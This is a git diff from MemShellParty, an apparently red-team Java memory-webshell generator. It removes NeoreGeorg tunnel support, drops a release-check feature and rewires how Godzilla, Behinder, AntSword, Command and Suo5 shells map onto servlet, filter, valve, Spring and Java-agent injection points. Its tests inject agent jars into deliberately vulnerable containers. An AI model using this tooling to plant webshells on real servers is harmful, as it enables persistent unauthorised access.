docs: update CHANGELOG

test: default shrink enabled

.github/scripts/parse_changelog_of_version.py

@@ -21,15 +21,4 @@ if __name__ == '__main__':
     if not result_lines:
         print("Specified version not found.", file=sys.stderr)
         sys.exit(1)
-    result_lines.append("## 更新方式\n")
-    result_lines.append("### Docker 部署\n")
-    result_lines.append("```bash\n")
-    result_lines.append("docker rm -f memshell-party\n\n")
-    result_lines.append("docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest\n")
-    result_lines.append("```\n")
-    result_lines.append("### Jar 包启动\n")
-    result_lines.append("> 仅支持 JDK17 及以上版本\n")
-    result_lines.append("```bash\n")
-    result_lines.append(f"java -jar --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED boot-{version.strip('v')}.jar\n")
-    result_lines.append("```\n")
     print("".join(result_lines).strip())

CHANGELOG.md

@@ -5,20 +5,6 @@ All notable changes to this project will be documented in this file.
 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
-## [v1.5.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.5.0) - 2025-03-01
-
-### Added
-
-- 支持 NeoreGeorg 内存马生成 by @ReaJason
-- 支持 UI 显示更新按钮跳转到 GitHub Release 界面
-
-### Changed
-
-- 简化 Valve 内存马代码
-- 升级 Gradle 8.13
-
-**Full Changelog:** [v1.4.0...v1.5.0](https://github.com/ReaJason/MemShellParty/compare/v1.4.0...v1.5.0)
-
 ## [v1.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.4.0) - 2025-02-26
 
 ### Added

asserts/neoreg/Dockerfile

@@ -1,9 +0,0 @@
-FROM python:3.12-slim
-
-WORKDIR /app
-
-RUN pip install requests
-
-COPY neoreg.py .
-
-CMD ["tail", "-f", "/dev/null"]

boot/src/main/java/com/reajason/javaweb/boot/config/WebConfig.java

@@ -1,21 +0,0 @@
-package com.reajason.javaweb.boot.config;
-
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-import org.springframework.http.client.SimpleClientHttpRequestFactory;
-import org.springframework.web.client.RestTemplate;
-
-/**
- * @author ReaJason
- */
-@Configuration
-public class WebConfig {
-
-    @Bean
-    public RestTemplate restTemplate() {
-        SimpleClientHttpRequestFactory factory = new SimpleClientHttpRequestFactory();
-        factory.setConnectTimeout(3000);
-        factory.setReadTimeout(3000);
-        return new RestTemplate(factory);
-    }
-} 

boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java

@@ -1,10 +1,10 @@
 package com.reajason.javaweb.boot.controller;
 
 import com.reajason.javaweb.boot.entity.Config;
-import com.reajason.javaweb.memshell.Packers;
+import com.reajason.javaweb.memshell.server.AbstractShell;
 import com.reajason.javaweb.memshell.Server;
 import com.reajason.javaweb.memshell.ShellTool;
-import com.reajason.javaweb.memshell.server.AbstractShell;
+import com.reajason.javaweb.memshell.Packers;
 import org.springframework.http.ResponseEntity;
 import org.springframework.web.bind.annotation.CrossOrigin;
 import org.springframework.web.bind.annotation.RequestMapping;
@@ -29,8 +29,9 @@ public class ConfigController {
             if (shell == null) {
                 continue;
             }
+            ShellTool[] supportedShellTools = ShellTool.values();
             Map<String, Set<String>> map = new LinkedHashMap<>(16);
-            for (ShellTool shellTool : shell.getSupportedShellTools()) {
+            for (ShellTool shellTool : supportedShellTools) {
                 Set<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
                 if (supportedShellTypes.isEmpty()) {
                     continue;

boot/src/main/java/com/reajason/javaweb/boot/controller/VersionController.java

@@ -1,20 +1,10 @@
 package com.reajason.javaweb.boot.controller;
 
-import com.reajason.javaweb.boot.entity.VersionInfo;
 import org.springframework.beans.factory.annotation.Value;
-import org.springframework.core.ParameterizedTypeReference;
-import org.springframework.http.HttpMethod;
-import org.springframework.http.HttpStatus;
-import org.springframework.http.ResponseEntity;
 import org.springframework.web.bind.annotation.CrossOrigin;
 import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RestController;
-import org.springframework.web.client.RestTemplate;
-import org.thymeleaf.util.StringUtils;
-
-import java.util.List;
-import java.util.Map;
 
 /**
  * @author ReaJason
@@ -26,61 +16,10 @@ import java.util.Map;
 public class VersionController {
 
     @Value("${spring.application.version}")
-    private String version;
-
-    private final RestTemplate restTemplate;
-
-    public VersionController(RestTemplate restTemplate) {
-        this.restTemplate = restTemplate;
-    }
+    String version;
 
     @GetMapping
-    public VersionInfo version() {
-        String latestVersion = getLatestGithubRelease();
-        return VersionInfo.builder()
-                .currentVersion(version)
-                .latestVersion(latestVersion)
-                .hasUpdate(!StringUtils.equals(version, latestVersion))
-                .build();
-    }
-
-    private String getLatestGithubRelease() {
-        try {
-            String latestVersion = tryFetchRelease("https://api.github.com");
-            if (latestVersion != null) {
-                return latestVersion;
-            }
-            latestVersion = tryFetchRelease("https://gh.llkk.cc/https://api.github.com");
-            if (latestVersion != null) {
-                return latestVersion;
-            }
-        } catch (Exception ignored) {
-        }
+    public String version() {
         return version;
     }
-
-    private String tryFetchRelease(String baseUrl) {
-        String apiUrl = String.format("%s/repos/%s/%s/releases", baseUrl, "ReaJason", "MemShellParty");
-
-        ResponseEntity<List<Map<String, Object>>> response = restTemplate.exchange(
-                apiUrl,
-                HttpMethod.GET,
-                null,
-                new ParameterizedTypeReference<>() {
-                }
-        );
-        if (response.getStatusCode() == HttpStatus.OK && response.getBody() != null) {
-            List<Map<String, Object>> body = response.getBody();
-            for (Map<String, Object> map : body) {
-                String targetCommitish = (String) map.get("target_commitish");
-                Boolean prerelease = (Boolean) map.get("prerelease");
-                Boolean draft = (Boolean) map.get("draft");
-                if ("master".equals(targetCommitish) && !prerelease && !draft) {
-                    String tagName = (String) map.get("name");
-                    return tagName.startsWith("v") ? tagName.substring(1) : tagName;
-                }
-            }
-        }
-        return null;
-    }
 }

boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java

@@ -57,11 +57,6 @@ public class GenerateRequest {
                     .headerName(shellToolConfig.getHeaderName())
                     .headerValue(shellToolConfig.getHeaderValue())
                     .build();
-            case NeoreGeorg -> NeoreGeorgConfig.builder()
-                    .shellClassName(shellToolConfig.getShellClassName())
-                    .headerName(shellToolConfig.getHeaderName())
-                    .headerValue(shellToolConfig.getHeaderValue())
-                    .build();
             default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
         };
     }

boot/src/main/java/com/reajason/javaweb/boot/entity/VersionInfo.java

@@ -1,15 +0,0 @@
-package com.reajason.javaweb.boot.entity;
-
-import lombok.Data;
-import lombok.Builder;
-
-/**
- * @author ReaJason
- */
-@Data
-@Builder
-public class VersionInfo {
-    private String currentVersion;
-    private String latestVersion;
-    private boolean hasUpdate;
-} 

generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java

@@ -69,8 +69,6 @@ public class MemShellGenerator {
                 return new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
             case AntSword:
                 return new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
-            case NeoreGeorg:
-                return new NeoreGeorgGenerator(shellConfig, (NeoreGeorgConfig) shellToolConfig).getBytes();
             default:
                 throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
         }

generator/src/main/java/com/reajason/javaweb/memshell/Server.java

@@ -13,10 +13,6 @@ import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletIn
 import com.reajason.javaweb.memshell.shelltool.godzilla.*;
 import com.reajason.javaweb.memshell.shelltool.godzilla.jetty.GodzillaHandlerAdvisor;
 import com.reajason.javaweb.memshell.shelltool.godzilla.undertow.GodzillaServletInitialHandlerAdvisor;
-import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgFilter;
-import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgListener;
-import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgServlet;
-import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgValve;
 import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
 import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener;
 import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
@@ -42,8 +38,6 @@ import com.reajason.javaweb.memshell.springwebmvc.command.CommandServletAdvisor;
 import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
 import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
 import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
-import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgControllerHandler;
-import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgInterceptor;
 import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
 import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
 import lombok.Getter;
@@ -133,7 +127,8 @@ public enum Server {
     /**
      * XXL-JOB
      */
-    XXLJOB(new XxlJobShell());
+    XXLJOB(new XxlJobShell())
+    ;
 
     private final AbstractShell shell;
 
@@ -142,6 +137,34 @@ public enum Server {
     }
 
     static {
+        addToolMapping(ShellTool.Command, ToolMapping.builder()
+                .addShellClass(SERVLET, CommandServlet.class)
+                .addShellClass(JAKARTA_SERVLET, CommandServlet.class)
+                .addShellClass(FILTER, CommandFilter.class)
+                .addShellClass(JAKARTA_FILTER, CommandFilter.class)
+                .addShellClass(LISTENER, CommandListener.class)
+                .addShellClass(JAKARTA_LISTENER, CommandListener.class)
+                .addShellClass(VALVE, CommandValve.class)
+                .addShellClass(JAKARTA_VALVE, CommandValve.class)
+                .addShellClass(WEBSOCKET, CommandWebSocket.class)
+                .addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
+                .addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
+                .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
+                .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
+                .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
+                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandServletAdvisor.class)
+                .addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
+                .addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
+                .addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
+                .addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
+                .addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
+                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
+                .addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
+                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
+                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
+                .addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
+                .build());
+
         addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
                 .addShellClass(SERVLET, GodzillaServlet.class)
                 .addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
@@ -190,50 +213,6 @@ public enum Server {
                 .addShellClass(WAS_AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class)
                 .build());
 
-        addToolMapping(ShellTool.AntSword, ToolMapping.builder()
-                .addShellClass(SERVLET, AntSwordServlet.class)
-                .addShellClass(FILTER, AntSwordFilter.class)
-                .addShellClass(LISTENER, AntSwordListener.class)
-                .addShellClass(VALVE, AntSwordValve.class)
-                .addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
-                .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
-                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class)
-                .addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
-                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
-                .addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class)
-                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class)
-                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class)
-                .addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class)
-                .build());
-
-        addToolMapping(ShellTool.Command, ToolMapping.builder()
-                .addShellClass(SERVLET, CommandServlet.class)
-                .addShellClass(JAKARTA_SERVLET, CommandServlet.class)
-                .addShellClass(FILTER, CommandFilter.class)
-                .addShellClass(JAKARTA_FILTER, CommandFilter.class)
-                .addShellClass(LISTENER, CommandListener.class)
-                .addShellClass(JAKARTA_LISTENER, CommandListener.class)
-                .addShellClass(VALVE, CommandValve.class)
-                .addShellClass(JAKARTA_VALVE, CommandValve.class)
-                .addShellClass(WEBSOCKET, CommandWebSocket.class)
-                .addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
-                .addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
-                .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
-                .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
-                .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
-                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandServletAdvisor.class)
-                .addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
-                .addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
-                .addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
-                .addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
-                .addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
-                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
-                .addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
-                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
-                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
-                .addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
-                .build());
-
         addToolMapping(ShellTool.Suo5, ToolMapping.builder()
                 .addShellClass(SERVLET, Suo5Servlet.class)
                 .addShellClass(JAKARTA_SERVLET, Suo5Servlet.class)
@@ -250,19 +229,20 @@ public enum Server {
                 .addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
                 .build());
 
-        addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
-                .addShellClass(SERVLET, NeoreGeorgServlet.class)
-                .addShellClass(JAKARTA_SERVLET, NeoreGeorgServlet.class)
-                .addShellClass(FILTER, NeoreGeorgFilter.class)
-                .addShellClass(JAKARTA_FILTER, NeoreGeorgFilter.class)
-                .addShellClass(LISTENER, NeoreGeorgListener.class)
-                .addShellClass(JAKARTA_LISTENER, NeoreGeorgListener.class)
-                .addShellClass(VALVE, NeoreGeorgValve.class)
-                .addShellClass(JAKARTA_VALVE, NeoreGeorgValve.class)
-                .addShellClass(SPRING_WEBMVC_INTERCEPTOR, NeoreGeorgInterceptor.class)
-                .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
-                .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
-                .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
+        addToolMapping(ShellTool.AntSword, ToolMapping.builder()
+                .addShellClass(SERVLET, AntSwordServlet.class)
+                .addShellClass(FILTER, AntSwordFilter.class)
+                .addShellClass(LISTENER, AntSwordListener.class)
+                .addShellClass(VALVE, AntSwordValve.class)
+                .addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
+                .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
+                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class)
+                .addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
+                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
+                .addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class)
+                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class)
+                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class)
+                .addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class)
                 .build());
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java

@@ -10,30 +10,25 @@ public enum ShellTool {
      */
     Godzilla,
 
+    /**
+     * 命令回显
+     */
+    Command,
+
     /**
      * 冰蝎
      */
     Behinder,
 
+    /**
+     * Suo5 隧道代理
+     */
+    Suo5,
+
     /**
      * 蚁剑
      */
     AntSword,
 
-    /**
-     * 命令回显
-     */
-    Command,
-
-    /**
-     * Suo5 隧道代理 <a href="https://github.com/zema1/suo5">zema1/suo5</a>
-     */
-    Suo5,
-
-    /**
-     * Neo-reGeorg <a href="https://github.com/L-codes/Neo-reGeorg">L-codes/Neo-reGeorg</a>
-     */
-    NeoreGeorg,
-
     ;
 }

generator/src/main/java/com/reajason/javaweb/memshell/config/NeoreGeorgConfig.java

@@ -1,21 +0,0 @@
-package com.reajason.javaweb.memshell.config;
-
-import com.reajason.javaweb.memshell.utils.CommonUtil;
-import lombok.*;
-import lombok.experimental.SuperBuilder;
-
-/**
- * @author ReaJason
- * @since 2025/2/28
- */
-@Getter
-@SuperBuilder
-@NoArgsConstructor
-@AllArgsConstructor
-@ToString
-public class NeoreGeorgConfig extends ShellToolConfig {
-    @Builder.Default
-    private String headerName = "Referer";
-    @Builder.Default
-    private String headerValue = CommonUtil.getRandomString(8);
-}

generator/src/main/java/com/reajason/javaweb/memshell/generator/NeoreGeorgGenerator.java

@@ -1,66 +0,0 @@
-package com.reajason.javaweb.memshell.generator;
-
-import com.reajason.javaweb.ClassBytesShrink;
-import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
-import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
-import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
-import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
-import com.reajason.javaweb.memshell.ShellType;
-import com.reajason.javaweb.memshell.config.NeoreGeorgConfig;
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import net.bytebuddy.ByteBuddy;
-import net.bytebuddy.dynamic.DynamicType;
-
-import java.util.HashMap;
-
-import static net.bytebuddy.matcher.ElementMatchers.named;
-
-/**
- * @author ReaJason
- * @since 2025/2/12
- */
-public class NeoreGeorgGenerator {
-    private final ShellConfig shellConfig;
-    private final NeoreGeorgConfig neoreGeorgConfig;
-
-    public NeoreGeorgGenerator(ShellConfig shellConfig, NeoreGeorgConfig neoreGeorgConfig) {
-        this.shellConfig = shellConfig;
-        this.neoreGeorgConfig = neoreGeorgConfig;
-    }
-
-    public DynamicType.Builder<?> getBuilder() {
-        DynamicType.Builder<?> builder = new ByteBuddy()
-                .redefine(neoreGeorgConfig.getShellClass())
-                .name(neoreGeorgConfig.getShellClassName())
-                .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
-
-        if (shellConfig.isJakarta()) {
-            builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
-        }
-
-        if (shellConfig.isDebugOff()) {
-            builder = LogRemoveMethodVisitor.extend(builder);
-        }
-
-        if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
-            builder = builder.visit(
-                    new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
-                        put("headerName", neoreGeorgConfig.getHeaderName());
-                        put("headerValue", neoreGeorgConfig.getHeaderValue());
-                    }})
-            );
-        } else {
-            builder = builder
-                    .field(named("headerName")).value(neoreGeorgConfig.getHeaderName())
-                    .field(named("headerValue")).value(neoreGeorgConfig.getHeaderValue());
-        }
-        return builder;
-    }
-
-    public byte[] getBytes() {
-        DynamicType.Builder<?> builder = getBuilder();
-        try (DynamicType.Unloaded<?> make = builder.make()) {
-            return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
-        }
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/packer/rhino/RhinoPacker.java

@@ -9,7 +9,7 @@ import com.reajason.javaweb.memshell.packer.Packer;
  * @since 2025/1/30
  */
 public class RhinoPacker implements Packer {
-
+    
     @Override
     public String pack(GenerateResult generateResult) {
         return Packers.ScriptEngine.getInstance().pack(generateResult);

generator/src/main/java/com/reajason/javaweb/memshell/server/AbstractShell.java

@@ -45,7 +45,7 @@ public abstract class AbstractShell {
         return Collections.unmodifiableSet(toolMapping.getSupportedShellTypes());
     }
 
-    public Set<ShellTool> getSupportedShellTools() {
+    public Set<ShellTool> getSupportedShellTools(){
         return Collections.unmodifiableSet(map.keySet());
     }
 

gradle/wrapper/gradle-wrapper.properties

@@ -1,6 +1,6 @@
 distributionBase=GRADLE_USER_HOME
 distributionPath=wrapper/dists
-distributionUrl=https\://services.gradle.org/distributions/gradle-8.13-bin.zip
+distributionUrl=https\://services.gradle.org/distributions/gradle-8.12.1-bin.zip
 networkTimeout=10000
 validateDistributionUrl=true
 zipStoreBase=GRADLE_USER_HOME

integration-test/build.gradle

@@ -61,7 +61,6 @@ test {
             ":vul:vul-webapp-expression:war",
             ":vul:vul-webapp-deserialize:war",
             ":vul:vul-webapp-jakarta:war",
-            ":vul:vul-springboot1:bootJar",
             ":vul:vul-springboot2:bootJar",
             ":vul:vul-springboot2:bootWar",
             ":vul:vul-springboot2-webflux:bootJar",

integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java

@@ -5,6 +5,7 @@ import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.utility.MountableFile;
 
 import java.nio.file.Path;
+import java.nio.file.Paths;
 
 /**
  * @author ReaJason
@@ -12,27 +13,25 @@ import java.nio.file.Path;
  */
 @Slf4j
 public class ContainerTool {
-    public static final MountableFile warJakartaFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-jakarta", "build", "libs", "vul-webapp-jakarta.war").toAbsolutePath());
-    public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath());
-    public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath());
-    public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath());
-    public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath());
-    public static final Path neoGeorgDockerfile = Path.of("..", "asserts", "neoreg", "Dockerfile").toAbsolutePath();
-    public static final Path springBoot1Dockerfile = Path.of("..", "vul", "vul-springboot1", "Dockerfile").toAbsolutePath();
-    public static final Path springBoot2Dockerfile = Path.of("..", "vul", "vul-springboot2", "Dockerfile").toAbsolutePath();
-    public static final Path springBoot2WebfluxDockerfile = Path.of("..", "vul", "vul-springboot2-webflux", "Dockerfile").toAbsolutePath();
-    public static final Path springBoot3Dockerfile = Path.of("..", "vul", "vul-springboot3", "Dockerfile").toAbsolutePath();
-    public static final Path springBoot3WebfluxDockerfile = Path.of("..", "vul", "vul-springboot3-webflux", "Dockerfile").toAbsolutePath();
+    public static final MountableFile warJakartaFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war").toAbsolutePath());
+    public static final MountableFile warExpressionFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-expression/build/libs/vul-webapp-expression.war").toAbsolutePath());
+    public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-deserialize/build/libs/vul-webapp-deserialize.war").toAbsolutePath());
+    public static final MountableFile warFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp/build/libs/vul-webapp.war").toAbsolutePath());
+    public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Paths.get("../vul/vul-springboot2/build/libs/vul-springboot2.war").toAbsolutePath());
+    public static final Path springBoot2Dockerfile = Paths.get("../vul/vul-springboot2/Dockerfile").toAbsolutePath();
+    public static final Path springBoot2WebfluxDockerfile = Paths.get("../vul/vul-springboot2-webflux/Dockerfile").toAbsolutePath();
+    public static final Path springBoot3Dockerfile = Paths.get("../vul/vul-springboot3/Dockerfile").toAbsolutePath();
+    public static final Path springBoot3WebfluxDockerfile = Paths.get("../vul/vul-springboot3-webflux/Dockerfile").toAbsolutePath();
 
-    public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("..", "asserts", "agent", "jattach-linux"));
-    public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script", "tomcat_pid.sh"));
-    public static final MountableFile resinPid = MountableFile.forHostPath(Path.of("script", "resin_pid.sh"));
-    public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script", "jboss_pid.sh"));
-    public static final MountableFile glassfishPid = MountableFile.forHostPath(Path.of("script", "glassfish_pid.sh"));
-    public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script", "jetty_pid.sh"));
-    public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script", "websphere_pid.sh"));
-    public static final MountableFile weblogicPid = MountableFile.forHostPath(Path.of("script", "weblogic_pid.sh"));
-    public static final MountableFile springbootPid = MountableFile.forHostPath(Path.of("script", "springboot_pid.sh"));
+    public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("../asserts/agent/jattach-linux"));
+    public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script/tomcat_pid.sh"));
+    public static final MountableFile resinPid = MountableFile.forHostPath(Path.of("script/resin_pid.sh"));
+    public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script/jboss_pid.sh"));
+    public static final MountableFile glassfishPid = MountableFile.forHostPath(Path.of("script/glassfish_pid.sh"));
+    public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script/jetty_pid.sh"));
+    public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script/websphere_pid.sh"));
+    public static final MountableFile weblogicPid = MountableFile.forHostPath(Path.of("script/weblogic_pid.sh"));
+    public static final MountableFile springbootPid = MountableFile.forHostPath(Path.of("script/springboot_pid.sh"));
 
     public static String getUrl(GenericContainer<?> container) {
         int port = container.getMappedPort(8080);

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java

@@ -15,6 +15,7 @@ import okhttp3.Request;
 import okhttp3.Response;
 import org.java_websocket.client.WebSocketClient;
 import org.java_websocket.handshake.ServerHandshake;
+import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.shaded.org.apache.commons.io.FileUtils;
 import org.testcontainers.shaded.org.apache.commons.lang3.RandomStringUtils;
@@ -48,11 +49,6 @@ public class ShellAssertionTool {
 
     @SneakyThrows
     public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> container) {
-        testShellInjectAssertOk(url, server, shellType, shellTool, targetJdkVersion, packer, container, null);
-    }
-
-    @SneakyThrows
-    public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
         String shellUrl = url + "/test";
 
         String urlPattern = null;
@@ -79,12 +75,12 @@ public class ShellAssertionTool {
             Path tempJar = Files.createTempFile("temp", "jar");
             Files.write(tempJar, bytes);
             String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
-            appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
+            container.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
 //            Files.copy(tempJar, Paths.get("target.jar"));
             FileUtils.deleteQuietly(tempJar.toFile());
-            String pidInContainer = appContainer.execInContainer("bash", "/fetch_pid.sh").getStdout();
+            String pidInContainer = container.execInContainer("bash", "/fetch_pid.sh").getStdout();
             assertDoesNotThrow(() -> Long.parseLong(pidInContainer));
-            String stdout = appContainer.execInContainer("/jattach", pidInContainer, "load", "instrument", "false", jarPath).getStdout();
+            String stdout = container.execInContainer("/jattach", pidInContainer, "load", "instrument", "false", jarPath).getStdout();
             log.info("attach result: {}", stdout);
             assertThat(stdout, anyOf(
                     containsString("ATTACH_ACK"),
@@ -92,7 +88,7 @@ public class ShellAssertionTool {
             ));
         } else {
